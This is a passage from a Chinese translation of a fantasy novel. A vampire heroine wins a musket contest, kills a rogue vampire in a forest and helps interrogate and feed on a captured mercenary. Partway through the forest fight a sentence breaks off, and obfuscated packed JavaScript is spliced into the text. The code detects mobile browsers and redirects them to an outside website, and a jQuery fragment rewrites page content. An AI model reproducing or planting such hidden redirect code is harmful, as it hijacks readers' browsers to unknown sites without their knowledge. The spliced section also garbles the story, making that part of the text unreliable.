“女士们，先生们，巴林顿堡的各位精英，晚上好！我是洛思·德莱尼，今晚很荣幸能成为你们的客人，同时也为大家带来一场特别的活动。这将是一场多么精彩的活动啊！事实上，女士们，先生们，我的战斗能力，我作为神枪手的精湛技艺受到了质疑！哪有南方绅士能对这样的挑战置之不理呢？当然不会！还有什么比一场精彩而正式的展示，更能消除这种质疑呢？没有了！因为事实胜于雄辩！作为被挑战的一方，我主动选择了一种比赛形式，希望能得到大家的认可！我们这边出三个人，对战拉纳上尉挑选的三个对手。” 这个讨厌的家伙，果然没安好心。 “作为我的冠军，我的二号选手，我恳请此刻的英雄宾格尔先生助我一臂之力！” “义不容辞！”这位冒险家响亮地回应道，他的声音和洛思那激昂的男中音不相上下。人群为这场戏剧性的表演欢呼起来，而这仅仅只是个开始。 “谢谢你，先生。至于我的另一位冠军，我邀请在场的另一位和我有血缘关系的人。我的侄女，阿丽亚娜！” 对于一位得体的女士来说，大声喧哗是不礼貌的，所以我只是行了个屈膝礼。这个宣布引起了众人的反应，有人兴奋，有人不满，又或者只是单纯的惊讶？ “至于规则，我们将轮流射击面前的靶子。每人开一枪，射中头部得十分，射中身体得七分，射中四肢得四分。三轮射击后，总分最高的队伍获胜！现在，让我们开始吧，愿幸运眷顾勇者！” 掌声响起，莉迪亚·蒂勒森拿着两支雕花火枪走上前。我拿起一支，一个留着黑发、面带冷笑的军官拿走了另一支。 呵，这家伙还挺自信。 人群还在欢呼，部分原因是洛思那还算不错的口才，但我猜更多是因为酒精的作用。我真讨厌洛思无聊的时候搞出这些事。 一个面容坚毅、鬓角有些灰白的士兵率先出场。他熟练地给火枪装填弹药，耐心地瞄准，然后开枪射击目标。武器的轰鸣声伴随着女人们惊恐的尖叫。没错，火枪的声音很大…… 蒂勒森女士走上前检查，确认这一枪正中胸部。 人群中响起了礼貌的祝贺声，我看到赛西莉在一块为此次活动准备的黑板上，大大地写下了一个“7”。这个人是个谨慎的士兵，考虑到射击距离，要保证射中头部并不容易，至少对人类来说是这样。就他所掌握的有限信息而言，我觉得他的决定很明智。 宾格尔准备上前，但洛思却不答应。他跳起来，大声喊道： “我是长辈，我要第一个开枪！” 这个爱搞怪的家伙冲我眨了眨眼，从我手中接过火枪时还故意踉跄了一下。他装模作样地装填弹药，甚至还让一个脸红的美女把火药纸筒递给他。 洛思瞄准后，还特意冲我灿烂一笑，然后扣动了扳机。就在我们目标的头部向后一仰的时候，我翻了个白眼。 空地上瞬间安静下来。女主人毫不慌张地检查后宣布： “爆头！” 房子前面响起了阵阵欢呼和呐喊。士兵那边，拉纳上尉惊讶地扬起了眉毛。我们的黑板上得意地写上了一个“10”，赛西莉还 vengeful 地给它描了两遍边。我们占了上风。 轮到上尉射击了。他缓慢而从容地给火枪装填弹药，瞄准了好几秒，现场的气氛紧张得让人窒息。 一声巨响，他们的目标头部也猛地向后一仰。人群兴奋的尖叫声甚至盖过了枪声。这场原本只是个赌注的比赛，已经变成了一场令人难忘的表演。看看我能不能让它成为一场让人永生难忘的表演吧。 宾格尔从人群中走出来，紧张地接过我递给他的火枪和弹药。他也按照规范装填弹药，然后不紧不慢地瞄准。又一团蓝色的烟雾升起，烟雾散去后，莉迪亚喊出了结果。 “射中身体！” 人群再次欢呼起来。现在两队打成了平手，最后的胜负就取决于最后一组选手了。 宾格尔选择不冒险，也不想冒犯士兵们，他还挺有政治头脑的。 那个一脸得意的军官在一片寂静中，像个经验丰富的神枪手一样轻松地装填弹药并开枪射击。 “射中身体！”女主人喊道，众人都很高兴。 轮到我了。我向前走了一步，看向洛思。他脸上露出了邪恶又充满掠夺性的笑容，还指着自己两眼之间的位置。 我微微转头看向赛西莉，她夸张地做了个割喉的动作。 好吧。 凭借丰富的经验，我熟练地拿起火枪，将其平举，咬开火药纸筒，把火药倒入药池。吐出纸筒的时候，人群中一些传统的人发出了不满的低语声。 我合上燧石盖，把枪托抵在地上，将弹药塞进枪管，然后用通条迅速把它压实，再把通条重新固定好。我手腕轻轻一抖，将火枪再次平举，瞄准后开枪。整个过程大概只用了十秒，虽然很快，但也并非快得超乎常人。 我等着看命中的结果，然而并没有听到期待中的声音。 嗯？ 我转过身，看到众人一脸震惊。唯一不惊讶的是洛思，他正笑得眼泪都出来了，还拿手帕擦着眼睛。 “哈哈，侄女啊，我看你偏左了大概半英寸呢。” 他竟敢这么说！ “你之前也没射中正中心！” “没错，我之前有点用力过猛了。” “是爆头！”莉迪亚惊讶地喊道。 起初，人群中的反应还比较小，只是在各个小群体中传开，但很快，大家对我精湛枪法的认可就变成了震耳欲聋的欢呼声。洛思看起来就像一只找到了奶油罐的猫。这与其说是因为比赛结果，不如说是他很会调动观众情绪。 说到底，我们有着超自然的优势，还有经验加持。那些士兵，包括宾格尔，会瞄准人体的中心部位射击，因为这样足以让他们击中的任何人类失去行动能力。而我们平时训练的目标，是快速移动的怪物，对我们来说，三十步外的一个静止目标简直就是小儿科。 我和赛西莉对视了一眼，她满脸骄傲，仿佛复仇的快感得到了极大的满足。我们的胜利被用大大的字母写在了黑板上。拉纳上尉那队显然不太高兴。我觉得一旦这个消息传开，他们丢面子的事会让他们被嘲笑上好几年。我们这边有两人、他们那边有一人都完成了高难度射击，但这并不重要，人们只会记得他们被一个女孩打败了。 一个突然出现的、有着金发和深蓝色眼睛的苍白女孩。 天哪，希望这件事别传得太远。我可不想有人由此猜出我的真实身份。洛思，你到底干了什么？又为什么要这么做？ 众人纷纷围过来祝贺获胜者。我们的靶子被抬了过来，上面的三个弹孔清晰可见，所有人都看到了。我们的胜利无可置疑，少数质疑的声音也很快就被压了下去。我和那个有着灰色八字胡的士兵对视了一眼，他向我敬了个礼。我觉得这个举动很暖心，也很有体育精神，于是回了他一个屈膝礼。 有那么一会儿，我不得不尽可能礼貌地应对众人的关注。宾格尔挽着罗斯走过来，称赞我的枪法，还说他一直都很信任我。这个人真是不可思议，他把自己的骄傲延伸到了他认为的盟友身上，我的成功让他感到高兴，他简直就是个老派的人物，应该去参加圆桌会议才对。 过了好一会儿，一切才渐渐平静下来。在友好的比赛中，我又射击了两次，其他人也纷纷组队，模仿刚才的比赛。洛思这次说不定开创了一种新潮流。 我正准备跟着我这个不靠谱的“假叔叔”走进 mansion 时，我的鼻子闻到了那股浓重的吸血鬼气息。我决定先给他们几个小时的独处时间，之后再去和他们聊聊。 我转身的时候，一道闪光引起了我的注意。 只有少数几个人注意到了，然后就立刻没当回事。但就今晚这一连串的事情来看，我知道自己必须去调查一下。 我小心翼翼地走到树林边，朝着声音传来的方向跑去。没一会儿，又一道白色的闪光照亮了灌木丛，很快我就离得足够近，能听到那边的动静了。 哦，不。 不！ 怎么会这样？！我们离其他地方都很远，几乎处在欧洲扩张的边缘地带，这种事不应该发生啊。这里不应该还有其他吸血鬼，然而那股冰冷的气息是不会错的。 又是一道闪光。 传来一声愤怒的嘶嘶声。 不可能，西妮德被发现了？我们离所有地方都那么远！这是倒霉透顶，还是上天开的恶意玩笑？ 我本可以直接离开…… 我答应过西妮德会护送他安全离开，可这并不意味着我一定要保护他…… 不行！如果他现在被抓，我就永远得不到他的血了。这可不行，那血是我的，是我的！ 我在茂密的树林中飞奔，直到看到远处有动静。我继续向前走，很快就被发现了。 一个男人缓缓从一丛蕨类植物中走了出来。我之所以称他为男人，只是出于礼貌，因为他看起来更像野兽而不是同类。他就是我感觉到的那个吸血鬼。 某种折磨侵蚀了他，只留下一副受尽折磨的躯壳。他的衣服破烂不堪，沾满了污渍。腐臭的血腥味扑鼻而来，让我灵敏的鼻子难以忍受，他整个人都散发着这种恶臭，就好像他变质了一样，像发酸的牛奶或者变味的醋。他苍白的皮肤有些松弛，我们的指甲像针一样，而他却长着畸形甲壳质的爪子。 如果我们完全失控，就会变成这样吗？ “跟着我来抢战利品，嗯？你得不到他，得不到他。他是我的，我的！你夺走了我的一切，这个我一定要守住。等我回来，你们都得付出代价，付出代价！你们不该把我赶走，这个宝藏我不会和别人分享，绝不。都是我的。” 这家伙已经完全疯了。我露出一条白皙的腿时，他舔了舔嘴唇，甚至都没注意到我从刀鞘里抽出了匕首。 我先动手了。 我冲向他的左侧，朝着他的心脏刺去。他的爪子没碰到我的刀，但与此同时，他身体一扭，我的刀只是从他的侧腹滑了过去。 “小丫头，你还年轻，应该和其他人待在一起。” 我们交起手来，我用武器，他用爪子。很快我就被他逼退了。 他的力气大得离谱！ 我没能完全挡开他的攻击，他的左手划破了我的肩膀。与此同时，我一转身体，用刀尖划伤了他的脸。我们分开了。 我划伤了他的左眼，可他却毫不在意。我凭借攻击距离的优势，在他身上划出了好几道浅浅的伤口，黑色的浓稠血液从伤口中渗出来，而我肩膀上的那道伤口却疼得要命。 “太年轻了，你太年轻了。我不认识你，你不是哈考特家族的，也不是埃伦瓦尔德家族的。” 我再次冲向他，这次更加小心。我利用自己速度快、攻击距离远的优势不断骚扰他，甚至还砍掉了他两根手指。但我的攻击似乎对他没什么影响。 “看来你不是来追捕我的人，你太没经验了。让我给你看看我是怎么逃跑的。” 他向后一闪，双脚抵住一棵树干，然后用力一蹬。我惊讶地叫了一声，赶紧蹲下，差一点就被他撞上了。 这家伙像炮弹一样从我头顶飞过，然后一头撞在旁边的一棵树上，伴随着骨头断裂的声音。 “他怎么这么蠢？”我想着，转身准备从背后刺他一刀。我们在森林里，他当然会…… 这个男人已经用脚抵住他撞上的那棵树干，准备再次发动攻击了。 太晚了，来不及了…… 他猛地朝我撞过来。我感觉所有的空气都从肺里挤了出去，整个人向后飞出去，重重地撞在一个坚硬的东西上。他的爪子深深地扎进了我左臂护腕上，我当时用左臂护在了心脏前面。他另一只手抓住我的手指，想要把我的刀夺走。幸好他少了几根手指，才没能得逞。 他力气太大了！ 我慢慢地调整刀刃的角度，划向他的手，可就在这时，他的一根爪子也刺到了我的骨头。 疼死了。 我被困住了，还受了伤，他要咬我！ 他的身体紧紧地贴着我，我根本使不上劲。他力气大得惊人，如果是个普通人，手臂早就被他扯下来了。即便我有着增强的力量，也感觉身体像是要被撕裂了！我必须摆脱他。 这个男人不耐烦地哼了一声，向后一仰，头远离我。 他的额头狠狠地撞在我的脸颊上。我在最后一刻转过头，才没被正面撞到。 他又向后一仰，我趁机一口咬在他的脸上，嘴巴咬住了他的鼻子。 吞噬！ 他的味道很难闻，酸酸的，但没有毒性。不过，我能感觉到一股力量，这种力量的感觉还不错。 我的对手再次表现出对疼痛的漠视。他还是挣脱了，有什么东西被扯破了。我吐出嘴里的肉，准备再咬一口。 突然，情况有些不对劲，我们周围的空气开始闪烁。 我的对手没有继续攻击我，反而惊恐地向后退去。他那残缺不全的双手下意识地举了起来。 这可是个好机会。 我刺向他，可他在最后一刻还是躲开了。我试图调整攻击方向，但失败了。 疼啊。 不过刀刃还是深深地刺进了他的胸口。我只要再划一下…… 他的两只手重重地砸在我的前臂上，力量大得足以把我的骨头砸碎。 剧痛！ 我用左手的爪子狠狠地抓向他的脸，现在他的两只眼睛都成了血窟窿。我只要再划破他的喉咙…… 他低下头，我向前刺的时候，他一口咬了过来。我及时躲开了，只是被他的犬牙擦破了一点皮。 我想扭身躲开他的攻击，但还是不够快。我刚才太用力了，动作收不回来。他的爪子划过我的右胸下方，这一击的力量之大，直接把我整个人都掀飞了起来。 我感觉自己离地面越来越远，肋骨好像断了。 有什么东西撞到了我的后腰，让我本来就疼的地方更加难受，接着又有东西砸到了我的头，然后是左腿。 我重重地摔在一根树根上，像个布娃娃一样在地上滚了好几圈。 “嘶……” 好痛啊！啊啊啊！真该死！快站起来继续战斗！ 我慢慢地爬起来，努力忽略身体上传来的阵阵疼痛。断了的肋骨是最疼的，疼得我简直难以忍受。 我必须杀了他，受了这么重的伤，我根本跑不掉。在开阔的地方，他那些夸张的跳跃动作，会让他轻易地追上我。 我真后悔没告诉洛思就一个人来了，我真是太蠢了！天哪，希望这个错误不会让我丢了性命。 阿丽，你得阿丽，你得站起来。加油，站起来。起来！快站起来。 我忍着剧痛大喊一声，终于拖着身子靠在了一棵树干上。就在这时，我看到那个可恶的吸血鬼正盲目地朝我走来，手里还拿着我的匕首在身前摸索着。 亵渎者。小偷。我的血，我的刀，都不容侵犯。 “嘶嘶……” “找到你了，小丫头。先杀了你，再吸干你的血，然后我就远走高飞。他们别想抓到我。” 你，先生，哪儿也别想去。 “西妮德，制造点动静！” 我心里清楚对手刚才为什么惊恐后退，也知道那道刺眼的闪光是谁弄出来的，所以我在这儿等着。很快，森林里的各种声音就被放大到了极致。我的对手被这嘈杂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054936|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音弄得晕头转向。 我深吸一口气，忍着疼痛，猛地跳到他上方，然后轻盈地落在他身后。我疼得用手捂住胸口，缓了一小会儿，接着像他刚才那样，跳到了他的背上。 不出所料，他在最后一刻扭动身体想要挣脱。但这次我不是要刺杀他，而是紧紧抱住他。我用那只没受伤的胳膊尽可能地缠住他，然后狠狠地咬向他的脖子。 我疯狂吸血的时候，他不停地挣扎、甩动身体。见挣脱不开，他又猛地向后跳，把我狠狠地撞在一棵树上，我的头首当其冲。好在撞击的瞬间，我及时抬起胳膊护住了自己，这一撞反而让我咬得更深了。 没过几秒，他就不再挣扎了。 “吞噬者……”他带着一丝恐惧，低声说道。 我不停地吸食他的血，直到他身体里什么都不剩。过了许久，我松开嘴，从他的尸体上滑落下来，而他的尸体也开始消散。 “这是一场精彩的猎杀。”我说完，疼得不禁皱了皱眉。虽然他的血味道有点酸，但蕴含的力量确实不错。现在我只需要…… 我刚试着动了一下，一阵剧痛就从腹部传来。这是怎么……啊，我想起来了。 他居然用我的匕首刺伤了我。这个背信弃义的混蛋！我伸手摸了摸匕首的刀柄，疼得倒吸一口凉气。 我得把这把匕首拔出来，可我现在又累又疼。 这时，风在我耳边轻声说道：“坚持住，暗夜行者，我这就去帮你找你的亲信。” 没错，如果他现在靠近我，我可能会因为“血之渴望”而失去理智。啊，这本该是一个无比轻松惬意的夜晚，可现在我却在树林里流血不止，肚子上还插着自己的刀。为什么会这样？为什么啊！这是对我贪恋生命的惩罚吗？就因为我当初没让那些狂热分子在吸血鬼堡垒那恶臭的地下室里，用木桩刺穿我的心脏？我应该……算了！ 我慢慢地爬到一个隐蔽的小角落里，这样就不会有凸起的树根硌到我满是淤青的后背。我急促而浅短地呼吸着，试图减轻疼痛。该死，我得想办法止血。我用那只没受伤的手轻轻按压伤口，这才发现裙子已经被鲜血浸透了。 如果现在把匕首拔出来，我肯定会彻底失去行动能力。等我再次醒来…… 啊，疼死我了！真该死。我多希望能抬头看看“沉默守望者”，静下心来冥想一会儿，可头顶的树冠太茂密了，根本看不到天空。 我才刚刚摆脱初拥不久，不再是个纯粹的新生吸血鬼，结果第一天就搞得这么狼狈。这一切什么时候才是个头啊？从一年前开始，我的生活就没平静过。我逃离了吸血鬼堡垒，躲开了兰卡斯特家族和圣殿骑士团的追捕。后来，我和洛思躲在一起，为了满足“血之渴望”四处奔波，同时等待自己慢慢变强。现在，我终于能保持清醒超过八个小时，也不用花那么多时间去捕猎了，却又得四处奔波解决各种麻烦事。我本应该成为一个领导者，而不是整天忙着给别人收拾烂摊子！为什么我只能处理眼前这些突发状况？这是我的错吗？我是不是应该提前计划得更周全些？ 还有那个吸血鬼，我敢肯定他是个逃犯，从他说的那些话就能看出来。那还有没有其他像他这样的家伙呢？我被其他怪物发现的可能性有多大？他们会不会被追踪，从而把其他人引到我这里来？还是说，这只是单纯的倒霉透顶？好多问题在我脑海里打转。我知道接下来要去问希梅纳这些事了。 疼痛一阵接着一阵，丝毫没有减轻的迹象，我感觉自己的伤口不再愈合了。 我闭上眼睛，专注于呼吸。我不会死的，不会像上次那样。但我现在真的很冷，也很累。我真想就这么歇一会儿，放松一下，甚至停止呼吸。反正现在也没那么疼了…… （思绪开始飘忽，回忆起曾经被追捕的场景） 我一直在逃亡，不停地跑。我能一直跑下去，不需要空气，也不需要水。我用双脚拼命地蹬着地面，身后扬起尘土和落叶。只要那被诅咒的血液还在我的血管里流淌，这具身体的极限就无法束缚我。 但不幸的是，追捕我的人也是如此。我能听到他们在我身后，还有两侧。他们正试图包抄我，把我困住。我跑得很快，而且我也不是在城市里娇生惯养的人，所以暂时还能领先他们一步。但只要我稍有差错，就会摔倒在地，然后被他们抓住，必死无疑。 “我们一定会找到你的。”他们说，“这是迟早的事。” 我只能继续跑。 我还能做什么呢？只能尽可能地多跑一会儿，多坚持一会儿。 最后，我还是没注意到一根树根，脚被它绊了一下，整个人狼狈地摔倒在地。我刚爬起来，周围的阴影就像恶魔一样朝我扑来，准备给我致命一击。 就在这时，他们都死了。 一股强大到难以置信的力量爆发出来，瞬间把我的敌人都化为了蒸汽。蓝色的火焰蔓延开来，将他们原地消灭，连一点灰烬都没留下。 我吓得呆若木鸡，一个有着火焰般红发的巨人从我身边走过，然后在我身旁跪了下来。 “有意思的噩梦，暗夜行者，虽然情节老套得让人难受。我多希望在现实世界里，也能展现出真正的自己，让你们这些家伙知道自己错得有多离谱。当然了，我会留你一条命，把你当宠物养着，你实在是太有趣了。” 他身上的铠甲闪耀着白蓝色的光芒，亮得我都奇怪自己为什么没被烧成灰烬。他太可怕了，就像大自然的力量一样让人敬畏。我根本不敢和他对视。我第一次见到这么强大的人，我觉得他就算和我的主人对决，也有一战之力。 “嗯，终于有了点敬畏之心。如果女神愿意，有一天你会亲眼见识到的。现在，醒过来吧。” 我在客房的床上恢复了意识。洛思和道尔顿一脸担忧地凑在我面前，离得近得让人有些不自在。 虽然肚子上的伤口还没完全愈合，但我感觉精神还不错。 “别告诉我，我喝了精灵的血，却因为昏迷没尝到味道。” 他们对视了一眼，看起来有点心虚。 “好吧，女主人，我们不会说的。” “该死！”我懊恼地说道。我就知道那味道肯定很棒，我之前还满心期待呢！ “抱歉，姑娘，我当时应该在你身边的。” “唉，你怎么可能知道会发生这种事。我自己冲进危险里，都没提前告诉你一声。这次的倒霉事都怪我自己。啊，还是好痛。” “别乱动，女主人。我们刚把匕首取出来。” “啊，我真希望自己能用好这把刀，结果还被自己的刀给刺伤了……” “不是每个人都能像您这样，和自己的武器有这么‘亲密’的经历，女主人。” “……好吧。那和我打架的那个家伙怎么样了？” “我们把他的骨灰撒了，姑娘。而且没人发现这件事。” “真不敢相信，过去这一周，我好几次都使出了全力，可宾格尔他们居然还没发现我的真实身份。这简直是个奇迹。” “如果您这么说的话，女主人。我觉得您想用的词应该是‘容易轻信他人’。” “随你怎么说，道尔顿。对了，我都没来得及和那位冒险家道别，毕竟我们明天就要分开了。” “啊，他提过这事儿。我去看看能不能叫醒他，姑娘。” “这么晚还把你叫起来，真是不好意思。” “别这么说，德莱尼小姐！我才应该感到愧疚，我早该想到您的，嗯，特殊情况。而且，您接下来的任务我也有责任。您确定不需要人陪您一起去吗？我可以搭下一艘船，跟您一起去，我保证。” “宾格尔先生，您这么关心我，我很感动。但我向您保证，我身边会有人保护我的。” “啊，你叔叔向我保证过，说你之前和那些野蛮人打过交道，他还说他是个信守承诺的人。” “没错，而且他妹妹会陪我一起，算是给我做个伴。” （心里默默想着：也许吧。） “真的吗？” 宾格尔惊讶得眉毛都快飞到天上去了。我试图把这情况说得不那么离谱，但显然是我的错。对于一个出身良好的未婚女子来说，和一群当地人一起去那些荒无人烟的废墟探险，在世界上任何一个国家都不会被接受。不过，宾格尔还是尽力掩饰着自己的不满。 “嗯，德莱尼小姐，您真是有一颗冒险家的灵魂。我希望您以后有机会能去欧洲。皇家博物馆您肯定会感兴趣的。说真的，我觉得您都能给那里的馆长讲讲新知识呢！” 我又一次看错他了，这个人实在是太单纯善良了。 我们的交谈在寒暄和冗长的道别中结束，我真讨厌这样。宾格尔看起来很沮丧，眼里还闪着泪花。我不明白，他怎么会在这么短的时间里就和我这么亲近。 最后，黎明渐渐来临，困意让我有些站不稳。这让这位可怜的先生不得不离开房间，好让我能好好休息。 30. 暗夜魅惑 “这是什么？”我一边说着，一边走下马车。 此刻，我们身处一片偏僻的草地中央。除了洛斯（Loth）那移动的堡垒，还有另一辆马车，那是一辆过时但坚固的老式四轮马车。 “这是你的座驾。你知道的，我得把阿斯尼（Asni）和那辆货车留在身边。” “是是，我说的是那个人。” 一个囚犯跪在洛斯和道尔顿（Dalton）中间。西尼德（Sinead）站在一百步开外，正忙着在笔记本上画一堆东西。从气味判断，我猜那是腐肉。 “信不信由你，我们遭遇了强盗。我们想着你或许想吃点‘早餐’。” 那俘虏惊讶地瞪大了眼睛。让人专门为我抓个人来吃，这习惯可不好养成，但我也不想浪费这个人的性命。我想，偶尔放纵一次也无妨。 我走近些，仔细打量着这个人的模样。 这是某种考验吗？ “怎么了，阿里（Ari）？” “亲爱的洛斯，别告诉我你没发现哪里不对劲？这个人根本不是强盗。” “太棒了。”微风低语道。 我们都转头看向西尼德，他正向我们走来。 “我还担心你会直接忽略掉呢，暗夜行者（Nightwalker）。很高兴你没有。作为我们安全通行协议的一部分，我觉得我还欠你一些信息，所以我决定临时给你上一课。就当是对你昨天及时相助的感谢吧。” 这个精灵把书和笔收进衣兜，双手撑在腰后，转向我。他身上散发着一种强烈的气场和热情，即使他身形消瘦，也无法掩盖这股气质。他微笑着，像只吃饱喝足的猫一样得意。 “诡计、谎言和欺骗，这些是你们这类人的最强武器。推动国家间相互对抗的，不是你们的武力，而是一封恰到好处的信件、一段无果的爱情，或者是在关键时刻说出的一个词。我们都明白为什么会这样，不是吗？” 因为倘若不是如此，我们就会迷失自我，最终死在团结一致的人类手中。不过，这话没必要说出口。 “那么，那些阴谋诡计是如何被揭穿的呢？就像扯掉一根线头。找到一处破绽，揭露一个阴谋者，整个计划就会像纸牌屋一样轰然倒塌。这难道不令人兴奋吗？耐心与精心策划，对抗着猜疑与观察，这是秘密战场上永恒的平衡。告诉大家吧，暗夜中的居民。告诉我们你看到了什么。然后我会指导你下一步该怎么做。” 我不太想顺着他的意思，但又很渴望从他的经验中学习。 “这个人身上有肥皂味，衣服虽然皱巴巴的，但很干净。他的胡须修剪得整整齐齐，我还能闻到发蜡的味道，而且是很贵的那种。对于一个长期在恶劣环境中生活的人来说，他的皮肤太健康了。最后，他的自律令人钦佩。他曾是军人，现在住在城里，是个雇佣兵。” “完全正确！再看看他干净的鞋子。新手总是在鞋子上露出破绽。还有那些枪！太贵了，也太新了。强盗团伙可弄不到这么统一的装备。不，我们是被故意袭击的。” 道尔顿和洛斯只是短暂地惊讶了一下。很快，他们的眼神变得充满算计，而我们的囚犯则从恐惧变成了极度的惊恐。 “在你们这两个可爱的笨蛋拿出钳子和热炭之前，我希望你们能有点耐心。我想教这位小姐一些暗示的精妙技巧。” 哦，这肯定很有意思。 “在这个该死的世界上，最让我恼火的，不是你们这类人奴役了我的族人，甚至也不是我没能恢复真正的力量，好把那些囚禁我的人永远变成颤抖的肉块。真正让我生气的是，你们的心智操控技巧是如此原始和可悲。你们存在了几千年，本应该想出一些有趣的东西，结果却还是一塌糊涂！我知道好的技巧对凡人来说是浪费，但看在艺术的份上！你们不应该满足于平庸！所以，我非常高兴能向你介绍这项最神圣的技艺。那么，暗夜行者，你如何看待自己的魅惑能力呢？” “就像一根绳子。” 西尼德顿时露出一副高高在上的神情。我得好好学学画画，这样就能把他脸上的傲慢神态画下来，以后要是想吃了他，也能有个参照。 “一根绳子。真的。我本来就没抱什么期望，可还是失望了。好吧，你有没有注意到，当你进行操控的时候，这根绳子会发生变化？” “有。它有时强有时弱，有时紧绷有时松弛，而且在压力下还会磨损，就像我对无礼行为的容忍度一样。” “没错，嗯，有道理。显然，联系的强度反映了关系的深度。时间和真诚的关怀比蛮力更能提升它。当你强迫你的目标做违背他们意愿的事情时，绳子就会出现磨损。要求越不合理、越荒谬，他们的反抗就越强烈。哪怕是最脆弱的人类心智，如果你让他们去杀自己的孩子，他们也会反抗。” 希望他不是在说自己的亲身经历，那就太恶心了。 “如果你集中注意力，就会注意到你那……绳子上有颜色和图案。它们是情感的印记。并非所有的联系都是一样的。我发现爱能战胜一切，不过恐惧也紧随其后。现在，说回基础。你认为操控中最重要的是什么？” “巧妙？” “错了，但也不算完全离题。答案是：对方。你不是在刺杀目标，而是在创作一幅杰作。即使是对同一个人进行操控，每次的情况也都不一样。你需要在一定程度上了解你的目标，才能获得最佳效果。一次成功的操控，九分靠口才，一分靠魔法。没有口才，你甚至都不知道该问什么问题才最合适。” “我举个例子。你，我的下属，你会问我们这位客人的第一个问题是什么？” “嗯，你有同伙吗？他们会来这儿吗？” “还不错！我给你打三分。正确的问题应该是：我现在有危险吗？你凭什么认为你说的‘同伙’是唯一威胁你生命的因素呢？嗯？你叫什么名字，小伙子？我该怎么称呼你？” 这个人挣扎了一下，最后还是觉得这也不是什么不能说的重要信息。 “亨德里克斯（Hendricks），先生。” “亨德里克斯，你觉得我现在有危险吗？” 对方沉默不语。 “或许有一点，嗯？” 这个人不情愿地点了点头。 “就算有刀也救不了你。你看到我们战斗了。你觉得自己能快到抓住人质吗？显然不能。现在，乖一点，把刀扔到地上。” 当一把打开的直剃刀从俘虏被绑着的手中掉落时，道尔顿脸色变得苍白。洛斯似乎有点不高兴。 “等回去后，我首先要教你的就是怎么好好搜身。” “对不起，先生。” “好了，好了，别分心！记住，要问开放式的问题！别让你的先入之见妨碍你探寻真相。不要只问一朵花的情况，而应该询问整束花。” “你们到底在对我做什么？！”雇佣兵惊恐地问道。 西尼德打量了他一秒钟，仿佛才想起来这是个活生生的人，而不只是他用来演示的工具。这个木偶怎么敢擅自开口？ 在事情进一步发展之前，我走上前去，和他对视。 我亲切地微笑着，把他耳边一缕乱发捋到后面。 “嘘，别担心，我的朋友们有点古怪，但我会保护你。只要我们得到想要的，你就安全了。你想帮我们，对吧？帮了我们，你就能离开了。” “是的……” “你叫亨德里克斯，对吧？” “是的，女士。” “我叫阿里。这里的这些人只是想保护我。你明白吗？” “明白，阿里。” “你很强壮，也很勇敢。你是军人吗？” “是的，女士，在加入这个组织之前，我是一名海军陆战队队员。” “海军陆战队队员？那你在船上服役过？” “是的，女士，我有幸在‘黄蜂’号航空母舰（USS Wasp）上服役！” “真厉害！之后你就加入了‘这个组织’？” “是的，女士，七个月前。薪水很不错。我相信你能理解。” “那当然！军人的薪水向来不高，就算在战时也是如此，不是吗？” “没错，女士。这简直就是耻辱。” “我猜你现在的雇主能更好地回报像你这样有才能的人？” “是的，他们知道该做什么，也知道该雇谁来做。” 让他继续说下去，让他一直说“是”，建立起融洽的关系，让他谈论自己。这些都是我从父亲和阿喀琉斯（Achilles）那里学到的。现在我明白了，这才是魅惑的核心。我的催眠能力只是我众多工具中的一个，如果不小心，它可能会变成我的依赖。不过，如果我想推进我们接下来的对话，现在就必须用它。我把手放在他的头两侧。他离我很近了。我凉凉的气息吹动着他的黑发。 “听起来很危险。” “嗯，显然，是很危险……” “你被一些不称职的人置于危险之中了，好心的亨德里克斯。”我皱着眉头补充道。 “是的，我身处危险之中。” “他们不知道如何与你合作，也不懂得发挥你的技能。对吧？” “对。” “你不觉得这很不公平吗？你这么擅长自己的工作，他们却浪费了你的潜力……” “对。” “真的很不公平。我们得做点什么。我们是朋友，不是吗？” “是。” “朋友之间会互相保护、互相帮助。对吧？” “对，互相保护、互相帮助。” “所以，我们应该去找那些派你来这儿的人。” “对，他们离这儿不远。” “真的？” “真的，他们让我们把你带到他们那儿去。” “‘我们’指的是……” “要么是那个大胡子，要么是那个金发女人。” “这就是他们雇你的原因？” “是的。” “他们露面了？” “是的。两个陆军军官，一群混蛋。” “我敢说他们看起来很傲慢，觉得自己高人一等。” “没错。没错！就因为他们还在服役。好像他们的军衔不是买来的似的！哈！” “这地方很荒凉。你们怎么找到他们的？” “很简单，阿里，沿着路往西走，直到看到一个有棕色砖墙和一座烧毁谷仓的废弃农场。他们就在那儿等着。” “谢谢你，亨德里克斯。先生们？” “我想马上和那些‘绅士’聊聊。动作快点。” “去吧，姑娘。” “祝你用餐愉快，女主人。” 通常来说，进食是一种私密的体验。但在这种特殊情况下，我迅速而果断地结束了他的生命。 被三个杀手围着，吸干一个人的生命，这种感觉让人充满力量。尽管吸血的行为会让我变得脆弱，但我并不害怕，因为他们和我是一伙的。在场的人都知道我是什么，并且接受了这一点，好吧，至少那些能活下来的人是接受的。 我这是在表明态度，而且我很喜欢这种感觉。在这些杀手中，我也是最致命的那个。我的进食行为既展现了我的自信，也体现了我对同伴的信任。 在过去的一年里，我成长了许多。 “他们在等我们呢，先生们。我们走吧？” “好嘞，姑娘，迫不及待想再见到那些混蛋了。” “注意言辞！” “知道啦，知道啦。” 我们是一群有礼貌的怪物。西尼德礼貌地请求坐在我旁边，继续给我上课，可怜的道尔顿只能吃我们扬起的尘土了。 “别担心，女主人。你一定要尽可能多学点东西！” 真是个好下属。 我们在洛斯旁边坐下，西尼德立刻微笑着转向我。 